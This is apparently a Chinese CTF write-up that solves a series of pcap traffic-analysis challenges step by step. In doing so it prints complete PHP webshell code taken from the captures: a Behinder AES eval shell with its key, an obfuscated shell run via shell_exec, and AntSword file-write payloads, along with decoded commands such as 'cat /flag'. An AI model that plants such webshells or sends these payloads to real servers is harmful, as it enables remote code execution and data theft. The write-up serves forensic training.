//Y2QgIi92YXIvd3d3L2h0bWwiO2NhdCAvc2VjcmV0O2VjaG8gZDBmNGE2OGE7cHdkO2VjaG8gMjVlNzA=经过base64解码后为cd "/var/www/html";cat /secret;echo d0f4a68a;pwd;echo 25e70
echo "aac"."1c1";echo @asenc($output);

在输出aac1c1之后的第一个输出应该是cat /secret的结果,拿到secret的内容Y0UAr3G00D

image-20240318193214019

  • flag为:flag{n3wst4r_www-data_Y0UAr3G00D}

关于蚁剑流量可以查看:浅谈蚁剑流量分析 - 知乎 (zhihu.com)

0x0B [DASCTF X BUUOJ 五月大联动]sseddoG

  • 套了流量分析壳的Crypto
  • 过滤http后,看到两个文件:Athena.pngTop_secret.zip,把这两个文件导出
  • zip里面是一个dat,cat出来发现是一堆十六进制,先放着

image-20240319155751765

  • png先binwalk一下发现了里面有xml和pem证书文件,但是直接使用binwalk -e分离是提取不出来了,进入到010editor中手动提取,里面主要有一个public key和一个private key(其实是两个,但是重复了),还有一个疑似flag,但是并不是
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmN9l2LF50PqlGXwwk4Ai
nAKHLyd5dpDVr9G7LqD2pi492zzIA9hgU2a+kLoV3+/VMbrI+Y0mp707Gifz9PB1
mABAdppeTQyYyE9+KmnAjg1WuI/HDtMrfqzkXh8m4p2u1o8sWIOfFUpZxK1H5TMT
DicdJ3UJ3NNkP3asIxFWRXNmQ2tdINtmViJufotE7lj9gCDRleZsm0Io8t12b90h
Tgd+aqKCRumIgdnOm6VW4dsHzClyAYaxz0JCpxBQffJ9rWRlPklkUJw5WrC8YoCb
hdO7p3ZdizcDgazDC1/G4lwmvWC7v7c1PAeMX5DBkov4MwbX4aYQRqX5nxkegZOI
pQIDAQAB
-----END PUBLIC KEY-----
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAmN9l2LF50PqlGXwwk4AinAKHLyd5dpDVr9G7LqD2pi492zzI
A9hgU2a+kLoV3+/VMbrI+Y0mp707Gifz9PB1mABAdppeTQyYyE9+KmnAjg1WuI/H
DtMrfqzkXh8m4p2u1o8sWIOfFUpZxK1H5TMTDicdJ3UJ3NNkP3asIxFWRXNmQ2td
INtmViJufotE7lj9gCDRleZsm0Io8t12b90hTgd+aqKCRumIgdnOm6VW4dsHzCly
AYaxz0JCpxBQffJ9rWRlPklkUJw5WrC8YoCbhdO7p3ZdizcDgazDC1/G4lwmvWC7
v7c1PAeMX5DBkov4MwbX4aYQRqX5nxkegZOIpQIDAQABAoIBABjaCFaH04PTm09f
Tw5LgFTYXF2gDzDlLrfcYo+b/zzYu5mOcf2eCVrFkyk39yJmfMQO12kqNySBsL/5
ysEA7jz9nX0qbzYbXCMEOUBv3Ku7I2Pxi6yvS5zWQnHCorGobKnYsJ7bFtuBMMK2
YL+z498jIKwvbKEHhH6ErkstIFc9wQnl635zYLE3EywbD4ktyDholdfBFyTCwk1J
Gd/holAwGN78PldVc+K73m8E2Jo3VnN7TGOG7Fb5CS19xj7zcIE4cubhEH+w6RMU
Ra592NjSd2iZEW5xjugIbTThmLbFOXaBioeXVWstW9VRzgTIfb3TlcssLtzZoAje
0c9wrgECgYEAxvwc9hlEY8VABtoVrxxY7NtqRUh3B8jeKW4eCP8Ri0DiH9eYHL9R
pJSBP///vWcOt4EBfvb1krp7HJgh/5bJlewuuEtR4WbFfqgfwLPbKjKE0D6TVQyk
AH4egcplynKqSdDwQvlghpqya69YmTx+S7qawr3aTUJ2Zvl/ldzrKEECgYEAxKzg
OOLOJu5QHB3MPaE9HKcxU+xir2j0rCNyUOtN9dVXg/wdWOabatGfdhPa2xmgzlPc
QzqLW5ZnIITjXYZIx7uctP2i5dhDm7NycthrTzykT7owHbMHX6Ey6qvup4K6EzwL
uCKD7XoAz7ImfQvv6e2BYYhIqUfvQFAuitj652UCgYAUlSF9x1FOrKmZy9cwXNNJ
9MxCTGObl4h7apuKvK+Y4uZA+vEOEDAmwQG5mAZhFhbsnliERJFUUxvG8mmZ4YQK
kPqoL4pRsWq+Vi+qpDAIZl9clwxwYLVaI7GOJVxwG3pH1mfz1Y3Jfpj0EJguiZZa
yPuXJ0I8eaJ7tlUfMFHWwQKBgEIHD9fJPRCQ3VAzKMhgA1ZFQyg7qf3drJbF57EG
7ktj7lefInMgKHk6GuDXVZhNCFF8kev4EaUT31dphbN2S6TSdY/FvxSPAFObcQbh
ZVVatIcXqOOvoQAX7DIguqR+HN4sQHr3C3eEiBUyZ/1/LnJIjDEkQdCjF81tndJ7
efCJAoGBAJ3sgwKQUSdKhiduyok/qJ0Ye5EgJGuskUIsLeLVnShzYrAAUVJMIpLK
OLXC8ygMyAp9gpusnS5obQjUKaB7livuqQ3OKEUvm9tyJbjMLfJoMGry7wjj0eiI
F3OCoV5LfjIfAldn/k2KGGR6/LM1K2vi/wCo1wuHHwpWbndJwqF3
-----END RSA PRIVATE KEY-----

<FLAG?>TheyWereBelieversInTheGoddess</FLAG?>
  • 接下来就要联想到crypto中的RSA,根据dat文件中的<data>和<sign>标签,可以推测,data里面的是密文,sign里面是签名
1
2
3
4
5
6
7
8
9
10
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
c = 6945004599188163993695415369835695903301224003136994252560594956191090963121611565339316899123749651980866032846579298200421747380583546633355992903073674181349057044030322829788264132202636849376954935277228938532451604402772829242424577058024238656161078439246537271516326863255516855631753446705292842229626286876548916801469642547513456705866784202623394305276451128865785358297012288872815722144655832856702699498675579782594166664458814522864775862036884859354259378908758433643337060342583622920263235497780709801069090899910257671959718315799533292405361650450010152269010240983236777594133358567962307235569
s = 2657375403899004421682435875591648757169751001935445937761677813563331237751296771655965799410203548200444843121899114276425174188686046977514392352233441829494629361400810323413751538449142557000621910082199277027187814332458889139635831754705831808451385798544850324418189973193940364270700678684371080465070928269782397410454121628205746311654719735981174781630012234885865191874665887323338400055601894791632973447395440378983992188376105785566869556895986983889219094640854379267584790389009829385657891279182819588524435817909919666674804622368593843455996806164859962400637898116212711639490474051288221345806
with open('client_secret.pem') as f:
pk = RSA.importKey(f.read())
m = pow(c, pk.d, pk.n)
print(long_to_bytes(m))
cc = pow(s, pk.e, pk.n)
print(long_to_bytes(cc))

[DASCTF X BUUOJ 五月大联动] 个人(or团队)writeup - 知乎 (zhihu.com)

  • 得到flag
1
flag{9c24662f37e33ad7803ed43b740025b6}

flag{80,3306,5000,7000,8021,9000}

0x0C [UTCTF2020]icmp-file-transfe

0x0D FBCTF 2019 evil

  • evil bit

邪恶的比特 - HandWiki — Evil bit - HandWiki

  • 太久远了,已经没有环境了
  • 看看别人写的wp,了解一下就好

Facebook CTF 2019 文章 - 让我们来做 CTF — Facebook CTF 2019 Writeup - CTFするぞ (hatenablog.com)

0x0E [环境已失效] [UTCTF2020]dns-shell

  • DNS流量分析,能udp追踪看到base64,但是通过dig查主机信息以后的步骤已经无法成功了,这种题一般都是有时效的,不知道为什么buu还是收录了这种题
  • 附上wp,大家了解一下做题步骤就好

UTCTF 2020 - Do Not Stop (meowmeowxw.gitlab.io)

0x0F [服务器已失效][INSCTF2017]dga

  • XMPP协议,tcp传了一个类似帮助手册的东西,需要连接服务器,记录一下wp

inshack-2017/challenges/misc/dga-75/writeup.md 在 master ·雨果Delval/inshack-2017 (github.com)

0x10 [NewStarCTF 2023 公开赛道]3-溯源

  • 第一次见到冰蝎流量

PHP代码中可能存在eval、assert等关键词;

jsp代码中可能会有get class(),get class loader()等字符特征。

中国菜刀、蚁剑的攻击流量特征明显,容易被各类安全设备检测,而冰蝎是一款基于Java开发的动态加密通信流量的Webshell工具,由于通信流量被加密,传统的 WAF、IDS 设备难以检测,冰蝎最大特点就是对交互流量进行对称加密(冰蝎密文采用对称加密算法AES加密,加密后还会进行 base64 编码),且加密秘钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。 

解题第一步,先找AES加密算法的密钥:

服务器使用随机数MD5的高16位作为密钥,存储到会话的SESSIONID中,我们可以通过wireshark抓包看到。

NewStarCTF2023week4-溯源_ctf溯源-CSDN博客

冰蝎流量特征:冰蝎V4.0流量分析到攻防检测 - FreeBuf网络安全行业门户

  • http.request.method==POST过滤一下,第一个包,追踪http流,发现一个php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

从代码中我们可以找到:AES加密的密钥 $key="e45e329feb5d925b";

  • 接下来由于POST请求包有很多,直接追踪tcp流又不能直接看到http的响应保文,先用tshark把这些包的tcp.stream提取出来:
1
% tshark -nr "溯源.pcap" -Y 'http.request.method == POST ' -T fields -e "tcp.stream"|uniq|tr '\n' ' '

uniq 去掉重复

tr '\n' ' ' 把换行符替换成空格

image-20240327115420275

  • 一个一个追踪http流,主要看响应报文

响应报文解密,只发现这个网站有用:AES批量加密解密 - 在线工具 (bugscaner.com)

  • 再针对响应报文,解base64,最终发现了User和ip,所以flag为:flag{www-data_172.17.0.2}

image-20240327120017382

这篇wp没怎么好好写,因为拖延了3天,细节也不想补充了,,,,

0x11 [DASCTF X GFCTF2024] parser

  • 来源:BUUCTF,题目描述:警告!有大黑阔入侵我们的某台服务器!” leader:小小混淆,一看就刚学不久,交给你了
  • 过滤一下http.request.full_uri

image-20240421135624897

  • 依次追踪一下http流
1
2
GIF89a<?php str_rot13(substr('kofvamreebe_ercbegvat', 6, 15))(E_ALL ^ E_NOTICE); $........................................ = str_rot13(substr('etsjuonfr64_qrpbqr', 5, 13))(substr('vxMDgwNjdTZWM=', 2, 12)); function xorDecrypt($....................................., $..........................) { $..................................... = str_rot13(substr('xothonfr64_qrpbqr', 4, 13))($.....................................); $.......................................... = str_rot13(substr('jtonfr64_qrpbqr', 2, 13))(''); $................................. = str_rot13(substr('efgeyra', 1, 6))($..........................); for ($............................................ = 0; $............................................ < str_rot13(substr('jtefgeyra', 3, 6))($.....................................); $............................................++) { $............................ = $..........................[$............................................ % $.................................]; $............................... = str_rot13(substr('ybeq', 1, 3))($.....................................[$............................................]) - $............................................ % 3; $............................... = ($............................... ^ str_rot13(substr('rgxamfbeq', 6, 3))($............................)) % 256; $.......................................... .= str_rot13(substr('hlvqapue', 5, 3))($...............................); } return $..........................................; } class A { public function __construct($................................, $.....................................) { $.............................. = str_rot13(substr('xjyvwrkbeQrpelcg', 6, 10))($................................, str_rot13(substr('ncchbaonfr64_qrpbqr', 6, 13))(substr('jhpmqR0ZDVEYyMDI0', 5, 12))); $................................ = str_rot13(substr('gyfjiekbeQrpelcg', 6, 10))($....................................., str_rot13(substr('ascbqonfr64_qrpbqr', 5, 13))(substr('sgxsemREFTQ1RG', 6, 8))); str_rot13(substr('hgwqkmcevag_e', 6, 7))(str_rot13(substr('kiokxonfr64_rapbqr', 5, 13))(str_rot13(substr('cfdnkbeQrpelcg', 4, 10))(str_rot13(substr('jmonfr64_rapbqr', 2, 13))(str_rot13(substr('yndhsupnyy_hfre_shap', 6, 14))($.............................., $................................)), str_rot13(substr('ukifonfr64_qrpbqr', 4, 13))(substr('hrwcuhR0VUTVlGTEFH', 6, 12))))); } } if ($_POST[str_rot13(substr('vqewegonfr64_qrpbqr', 6, 13))(substr('gucGFzcw==', 2, 8))] === str_rot13(substr('fffun1', 2, 4))($........................................)) { $......................................... = new A($_COOKIE[str_rot13(substr('wonfr64_qrpbqr', 1, 13))(substr('mugeXM=', 3, 4))], $_COOKIE[str_rot13(substr('lreuonfr64_qrpbqr', 4, 13))(substr('xfkkcWQ=', 4, 4))]); } echo str_rot13(substr('bxgonfr64_qrpbqr', 3, 13))(substr('hjnc3VjY2Vzc18x', 3, 12));
--0caa6d6f7ff72fc1a6a78ed960ec1fc7--

发现这样一串,php混淆

  • 解混淆得到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
32767;
$d = "08067Sec";
function xorDecrypt($e, $k)
{
$e = base64_decode($e);
$b = base64_decode('');
$f = strlen($k);
for ($$a = 0; $$a < strlen($e); $$a++) {
$j = $k[$$a % $f];
$h = ord($e[$$a]) - $$a % 3;
$h = ($h ^ ord($j)) % 256;
$b .= chr($h);
}
return $b;
}

class A
{
public function __construct($g, $e)
{
$i = xorDecrypt($g, "GFCTF2024");
$g = xorDecrypt($e, "DASCTF");
print_r(base64_encode(xorDecrypt(base64_encode(call_user_func($i, $g)), "GETMYFLAG")));
}
}
if ($_POST["pass"] === sha1($d)) {
$c = new A($_COOKIE["ys"], $_COOKIE["qd"]);
}
echo "success_1";

查看后三个流,发现pass都是等于sha1($d)的,三个流的重要信息为cookie和content

1
2
3
4
5
6
7
8
Cookie: qd=Myo+Ijox; ys=NC8oOCtvVUtTJA==
GIF89aMDMhYDoZOCFPsuccess_1

Cookie: qd=KDN1bjZoaw==; ys=NC8oOCtvVUtTJA==
GIF89aaUx4Y1BqKC8mLCEkKDQyRiAgKUw0Ijc0RiIkMUw2IjsvKTBsIigmPyEoIykrM2glJVAlOCNPIS4LKlAgIy0kTS4zL1AsJSBzc0w/KDohLUgsKTZcIjY0Ri43KCdcPzcrOEg3MihcPjghIkg2NTBcPiE3RjIsN0wnPihOOiE3TQ==success_1

Cookie: qd=JyEpY3wiKCE2; ys=NC8oOCtvVUtTJA==
GIF89aAwUFDgoCNzlpMhtmPz0bPCYpF3YkPms2Ey11NDZlPyVOsuccess_1

Cookie中的ys总是一样的,Content中的GIF89a是在请求的Content中存在的,需要去掉,success_1是php末尾的echo输出的,也去掉

Cookie中的qd和ys,决定了call_user_func,通过echo $i;echo$g可以得到三次命令执行的是什么,因为ys是一样的,所以$i一直是shell_exec,qd不同导致执行的命令不同,发现在Stream 3时执行的是cat /flag

  • 接下来就是逆向了,把XorDecrypt这个函数逆一下就好
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function xorEncrypt($plaintext, $key)
{
$plaintext = base64_decode($plaintext);
$ciphertext = '';
$keyLength = strlen($key);

for ($i = 0; $i < strlen($plaintext); $i++) {
$j = $key[$i % $keyLength];
$h = $plaintext[$i];
$e = (ord($h) ^ ord($j)) + $i % 3;
$ciphertext .= chr($e);
}
return $ciphertext;
}
$c = xorEncrypt("AwUFDgoCNzlpMhtmPz0bPCYpF3YkPms2Ey11NDZlPyVO", "GETMYFLAG");
  • 得到flag:DASCTF{y0u_4re_phpP4rs3r_m4st3r}

困难

0x01 蜘蛛侠呀

  • 困难在 很难猜到后面的gif隐写

  • wireshark里面主要是icmp包,查看这些icmp,发现data里面类似base64编码,用tshark提取出来

1
tshark -nr "out.pcap" -Y 'icmp.resp_to' -T fields -e "data.data"|xxd -r -p |sed 's/^.*\$//g' |awk 'NR%2 == 0' > zhishuxia_ssh.txt

-Y 过滤的是reply包,**-e** 提取data,xxd是把提取的hex解码,sed删除前面多余的$$START$$,取出来的消息每条有一个重复,利用awk每隔一行打印(NR为行号,模2为0实现每隔一行打印)

开头的—-BEGIN CERTIFICATE—–和结尾的end一开始让我以为是什么证书文件,对应数据包中也有ssh,以为是要通过证书解密ssh,发现在wireshark中ssh不支持这么做,尝试无果

  • 把多余的信息(certificate的标头和标尾)去除后,直接拿去base64解码,得到了一个zip文件

image-20240314205235462

  • zip里面是一个flag.gif,开始gif隐写了,这里是时间轴隐写

关于gif隐写 GIF - CTF Wiki (ctf-wiki.org)

  • identify -format "%T " flag.gif 查看每一帧的时间间隔,发现是20和50交替

image-20240314205812516

  • 利用sed,把20转成0,50转成1;利用tr删除空格:identify -format "%T " flag.gif | sed 's/20/0/g' | sed 's/50/1/g'|tr -d ' '

image-20240314210137379

1
011011010100010000110101010111110011000101110100
  • cyberchef-from binary

image-20240314210248126

  • flag为mD5_1t 经过md5后的密文,那么再加个md5

image-20240314210354365

  • 包上flag:flag{f0f1003afe4ae8ce4aa8e8487a8ab3b6}

这道题,挺有意思的,卡在gif隐写,我不是很熟😭

0x02 [DASCTF X GFCTF 2022十月挑战赛!]ez_xxd

  • 其实没想好归于中等还是困难,还是归于困难吧,过程有点繁琐,,,,
  • 过滤http,可以看到get了一个flag.txt,在wireshark中export objects导出http对象,可以看到里面有个flag.txtmaybe_today.zip,把这两个文件保存下来

image-20240318130403634

  • zip有加密,先看flag.txt感觉是base64,交给cyberchef,发现解出来是一堆十六进制,结合题目xxd,再from hex一下,发现关键信息IHDR,推测是png格式,但貌似少了头

image-20240318130547917

  • 保存下来,打不开,需要把头补回去,在开头补上89 50 4E 47 0D 0A 1A 0A,再打开是一张这样的图片。老二次元是不是可以直接看出来,哈哈,可惜我不是,我goole识图了一下,原来是初音未来

image-20240318130856858

  • 简单检查了一下常见的png隐写,未发现任何隐写,转到zip,发现里面有一张Miku.png,大小也差不多,bkrack -L maybe_today.zip发现压缩算法是ZipCrypto,猜测是明文攻击,又到bkcrarck登场了。在此之前记得把这张图片也以相同的ZipCrypto方式压缩在一个压缩包里

image-20240318131029092

  • 拿到key之后,直接用新的zip和密码替换

image-20240318131306192

  • 打开new.zip,仔细查看(我没仔细看,导致后面的压缩包不知道咋解),发现有两个可疑的地方,一个是有一个flag文件夹,里面放着一些mysql的文件,js文件夹里的SceneManager.js,里面有一句password,后面可能会用到

image-20240318143039258

这几个文件经过搜索为mysql的备份文件,经尝试,mysql8无法成功,使用mysql5的版本,可以用phpmyadmin直接新建一个flag数据库(新建数据库文件夹里会出现db.opt文件),接下来只需要把所有的文件复制进数据库文件夹里即可

数据库中的.frm.myi.myd文件 | Zaxon (harumonia.moe)

image-20240318143512927

SceneManager.js里的密码:sWxSAnweQIES46L

  • 在phpmyadmin中恢复数据之后,能看见存了一个bin文件

image-20240318143613753

  • 把bin文件存下来,可以先cat几行,发现是base64,丢给cyberchef,发现解码后是个zip

image-20240318143737926

  • 存下来又是一个加密的zip,里面是一个flag.txt,尝试了伪加密之后,(我卡在这了),想起之前的密码,解一下,发现flag.txt里面和题目很像,搜索发现是兽语加密,解密得到一串base64

image-20240318144056039

  • cyberchef from base64 解码又是熟悉的十六进制,再from hex一下,拿到了flag:dasctf{l0ve_you_want_l0ve}

image-20240318144140365

哎,我总是不仔细查所有文件,下意识以为用过一次就不会用了;有时每一步的尝试也并不透彻,导致陷入苦恼,其实离flag就差一点了,,,应该更仔细点的,,,,

0x03 [VNCTF2022公开赛]Strange flag

  • 流量分析部分很简单,然后就触到盲区了,esolang的一种叫Folders的语言

  • 流量分析部分就是追踪一下post请求包,最后发现打印了tree flag/的结果

image-20240318212151595

如果你了解esolang这就是一道小型编程题,如果你不了解,这就是脑洞题

  • 利用python根据文本内容创建文件夹:

VNCTF 2022 - 鹤翔万里的笔记本 (tonycrane.cc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import os
from pathlib import Path
with open("test", "r") as f:
tree = f.readlines()
path = Path("flag")
last_level = -1
for each in tree:
level = each.find("N")//4
if level < last_level:
path = path.parent
if level == last_level:
path = path.parent
diff = last_level - level
for i in range(diff):
path = path.parent
path = path / each.strip().replace("\\", "")
last_level = level
os.makedirs(path)

Folders 有工具,pip install Folders,然后 Folders flag/,得到 flag:vnctf{d23903879df57503879bcdf1efc141fe}

  • 脑洞

VNCTF 2022 misc复现_vnctf2022misc-CSDN博客

只看倒数第二级,原因大概是,是稳定的四个文件,通过无子文件夹(0),有子文件夹(1),生成01字符串,解码。

0x04 [SUCTF2019]protocol

  • usb流量里面算难的了,所以放在了困难里
  • 假flag是suctf{have_fun!}
  • 发现usbhid.data里有89504e这串敏感数据(png头)猜测藏了png,用tshark 提取usbhid.data 存进txt,然后丢进cyberchef,导出为dat文件,foremost分离dat文件拿到很多图片:

image-20240320153421596

  • 这些图片需要镜像一下,在文件夹下:convert -flop *.png

image-20240320153746711

  • 接下来我们需要知道这些字符的顺序,回到wireshark,按照length排序一下发现hiddata第二个字节在变化,tshark提取出来,通过cut -c 3,4提取第三个和第四个字符,也就是变化的那个字节

image-20240320161251397

  • 观察到图片每15张字母图后面会有10张全黑图片,所以按照15 10 15 10的方式切割:
1
2
3
4
5
6
7
8
9
04 03 02 01 00 09 08 07 06 05 0e 0d 0c 0b 0a
06 07 0e 04 01 0d 00 02 0b 09
04 03 02 01 00 09 08 07 06 05 0e 0d 0c 0b 0a
01 0e 08 06 0d 0c 00 05 09 0b
04 03 02 01 00 09 08 07 06 05 0e 0d 0c 0b 0a
02 09 03 05 01 07 0d 0b 0e 04
04 03 02 01 00 09 08 07 06 05 0e 0d 0c 0b 0a
06 0d 0a 08 09 04 0b 03 0c 02
04 03 02 01 00 09 08 07 06 05 0e 0d 0c 0b 0a

发现15个的顺序都是04 03 02 01 00 09 08 07 06 05 0e 0d 0c 0b 0a

  • 接下来需要一些小脑洞:10张黑色图片的信息就是15张字母图的信息的索引,例如06对应第一排第6个数据09,也就是第一排15张图片中的第9张,也就是字母s的图片。其中有索引00这样的情况出现,这个只能根据字符串含义在剩余图片里猜猜了
  • 按照这个规律拿到flag:suctf{My_usb_pr0toco1_s0_w3ak}

0x05 [XMAN2018排位赛]ppap

  • 涉及到opencv
  • 打开wireshark,按照length排序,追踪length最大的数据包所在的tcp流,发现了3段对话
1
2
3
4
5
6
7
8
9
10
yaaaaaaaar, land ho!Hey wesley, you got that flag?Ayy, I got yer files right here, matey!
/9j...... jpg文件的base64
-------------------------
~~~~
UEsD...... zip文件的base64
-------------------------
And here be the map to the booty!
PD94bWwg...... xml文件的base64
-------------------------
I don't understand, this isn't even a ma-Yarrrr, the booty be buried by that which the map points to! (no spaces and no caps)Ayy, now I be off. But remember, the factor of scales be 1.02, and the neighborly sorts be limited to 50! Lastly, if ye sail the seven seas, you do be a pirate!

所以里面需要分离出三个文件jpg、zip和xml,需要仔细查看文件,很容易漏掉xml

  • jpg文件可以分离出很多的jpg

image-20240320194626865

  • zip文件里面存了一个flag.txt,但是zip是加密的,需要密码
  • xml文件,里面有一个的标签
  • 接下来就又触碰到我的知识盲区了:opencv,暂时不打算研究这个怎么写,要根据对话中的提示设置scale和neighbors

代码复制的 [BUUCTF-MISC-XMAN2018排位赛]ppap(详细解析)-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os
import sys
import cv2
# Get all of the pictures
imgs = os.listdir('/Users/madison/Desktop/output/jpg')
# Cascade we'll be using for detection
cascade = cv2.CascadeClassifier('/Users/madison/Desktop/ppap.xml')
# From the clues
scaling_factor = 1.02
min_neighbors = 65 # Bumped this up until one pic was left
for img_name in imgs:
# Load the image and run the cascade
img = cv2.imread(os.path.join('/Users/madison/Desktop/output/jpg', img_name))
# print img
detect = cascade.detectMultiScale(img, scaling_factor, min_neighbors)
if len(detect) > 0:
print('ok')
for (x, y, w, h) in detect:
# X marks the spot!
cv2.line(img, (x, y),(x + w, y + h), (255, 0, 0), 2)
cv2.line(img, (x, y + h), (x + w, y),(255, 0, 0), 2)
# Save the new image
cv2.imwrite(os.path.join('/Users/madison/Desktop/output', img_name), img)

扫完了拿到一张图

image-20240320201533236

是这个骷髅头,英文名为 skullandcrossbones,就是zip的密码

看了别人的wp有人直接爆破出来了,但我没成功:ZIP File Password Recovery Online | passwordrecovery.io

  • flag:flag{b31Ng_4_P1r4tE_1s_4lR1GHT_w1Th_M3}

😭的确很难,其实写到这里,我已经在考虑是否这个系列还要更新下去了,因为感觉已经偏离了掌握分析流量技巧或wireshark/tshark使用的初心,后面做的题都偏向把流量分析当一个壳,实际的考点却是别的。


0x06 [DASCTF X 0psu3十一月挑战赛|越艰巨·越狂热]IceTea

  • 蚁剑+逆向。这道题对于我来说是中等偏简单的(因为我偶尔做做rev,虽然很菜),但是想着对于不碰逆向的人来说,这也许有点困难?

其实我打过这场比赛,但是当时对流量分析还不是很了解,所以不会做,看了wp之后也觉得很复杂,但现在做了很多流量分析题之后居然觉得还挺简单的?😄感受到了自己在流量分析上的进步。

  • 过滤一下http,很容易发现是蚁剑攻击流量,一共有四个post,我们需要关注这四个数据包所在的http流。

image-20240321154345919

**tcp.stream eq 0:*主要由一段16进制和base64组成,这个流重点讲讲,后面的流依葫芦画瓢*

16进制解hex是一个elf文件,DIE看一下发现加了UPX壳,需要先使用upx -d ,解壳

image-20240321151532016

解壳之后 ida64打开,发现是一个base64换表编码的函数:

image-20240321162530769

shift+f12可以看见表 abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/,a点进去可以看见,先留着。

image-20240321162554320

因为第一行中的:cmd=%40eval(%40base64_decode(%24_POST%5B'gca74cf27602f7'%5D))urldecode之后很容易知道,代码的意思就是运行这个参数base64解码后的代码,gca74cf27602f7是参数名

base64的部分就是php代码了,注意要去掉参数的名称部分,例如这里去掉前缀gca74cf27602f7=,同时去掉后面的参数

image-20240321153102628

只base64解码参数gca74cf27602f7=的值(QGlu…),得到这样的代码:

1
@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.573ef8c9dd12";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return @base64_encode($out);};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "fb70"."8664";echo @asenc($output);echo "870b9"."83ed5";}ob_start();try{$f=base64_decode(substr($_POST["idb82191cedb24"],2));$c=$_POST["e748c4dcd196bb"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

逻辑大概理一下就好了,有些代码的含义可以参考蚁剑流量分析及改造 - FreeBuf网络安全行业门户

主要关注的信息是echo和代码里面涉及到的参数(例如idb82191cedb24,e748c4dcd196bb),对应着输出和执行代码。输出最重要的是echo "fb70"."8664";echo @asenc($output);echo "870b9"."83ed5";,其中最重要的是$output的输出(也就是我们需要关注ob_start()后面的echo的内容);参数最重要的点就是,一般来说会从第三个字符开始截取,经常可以看见例如:base64_decode(substr($_POST["idb82191cedb24"],2)),进行base64解码的时候要注意代码中对于这个参数的截取是全部还是从第三个字符开始。

这里参数的值,idb82191cedb24经过base64解码(注意substr):

1
2
idb82191cedb24: /www/wwwroot/DAS202310.com/ezbase
e748c4dcd196bb: 就是elf那堆hex

可见这个代码功能主要是把elf存为ezbase这个文件

返回的内容是fb708664MQ==870b983ed5,根据echo "fb70"."8664";echo @asenc($output);echo "870b9"."83ed5";知道我们需要关注的是中间的$output,也就是这里的==所在的位置(只是说明我们需要关注的位置,并不是说==这个内容很重要)

image-20240321155207237

tcp.stream eq 1: 同样的思路先把php代码解码出来:

1
2
3
4
/www/wwwroot/DAS202310.com/ #这是idb82191cedb24的值,是一个文件路径
.............................................(省略)
echo "8a90e"."52a85";echo @asenc($output);echo "6a1"."62ad";}ob_start();try{$D=base64_decode(substr($_POST["idb82191cedb24"],2));$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=" ".$T." ".@filesize($P)." ".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

$output的结果是目录底下文件的信息,包括名称,创建时间,大小,权限这些信息

来看返回的结果:

1
8a90e52a85Li8JMjAyMy0wOS0yNiAxOTowMjoyNAkxNTgJMDc1NQouLgkxOTcwLTAxLTAxIDA4OjAwOjAwCQkwCi51c2VyLmluaQkyMDIzLTA5LTI2IDE1OjI4OjI1CTQ2CTA2NDQKaW5kZXguaHRtbAkyMDIzLTA5LTI2IDE1OjI4OjI1CTkxNwkwNzU1CjQwNC5odG1sCTIwMjMtMDktMjYgMTU6Mjg6MjUJNDc5CTA3NTUKLmh0YWNjZXNzCTIwMjMtMDktMjYgMTU6Mjg6MjUJMQkwNzU1CnNoZWxsLnBocAkyMDIzLTA5LTI2IDE2OjI2OjIxCTUwCTA2NDQKZmxhZy50eHQJMjAyMy0wOS0yNiAxNzoxODoyMwkzOAkwNjQ0CkljZVRlYS5jYXAJMjAyMy0wOS0yNiAxOTowMjoxMwkwCTA2NDQKZXpiYXNlCTIwMjMtMDktMjYgMTk6MDI6MjQJMjc4NjQJMDc3NwpJQ0VfVEVBLnR4dAkyMDIzLTA5LTI2IDE3OjM0OjUxCTUyCTA2NDQK6a162ad

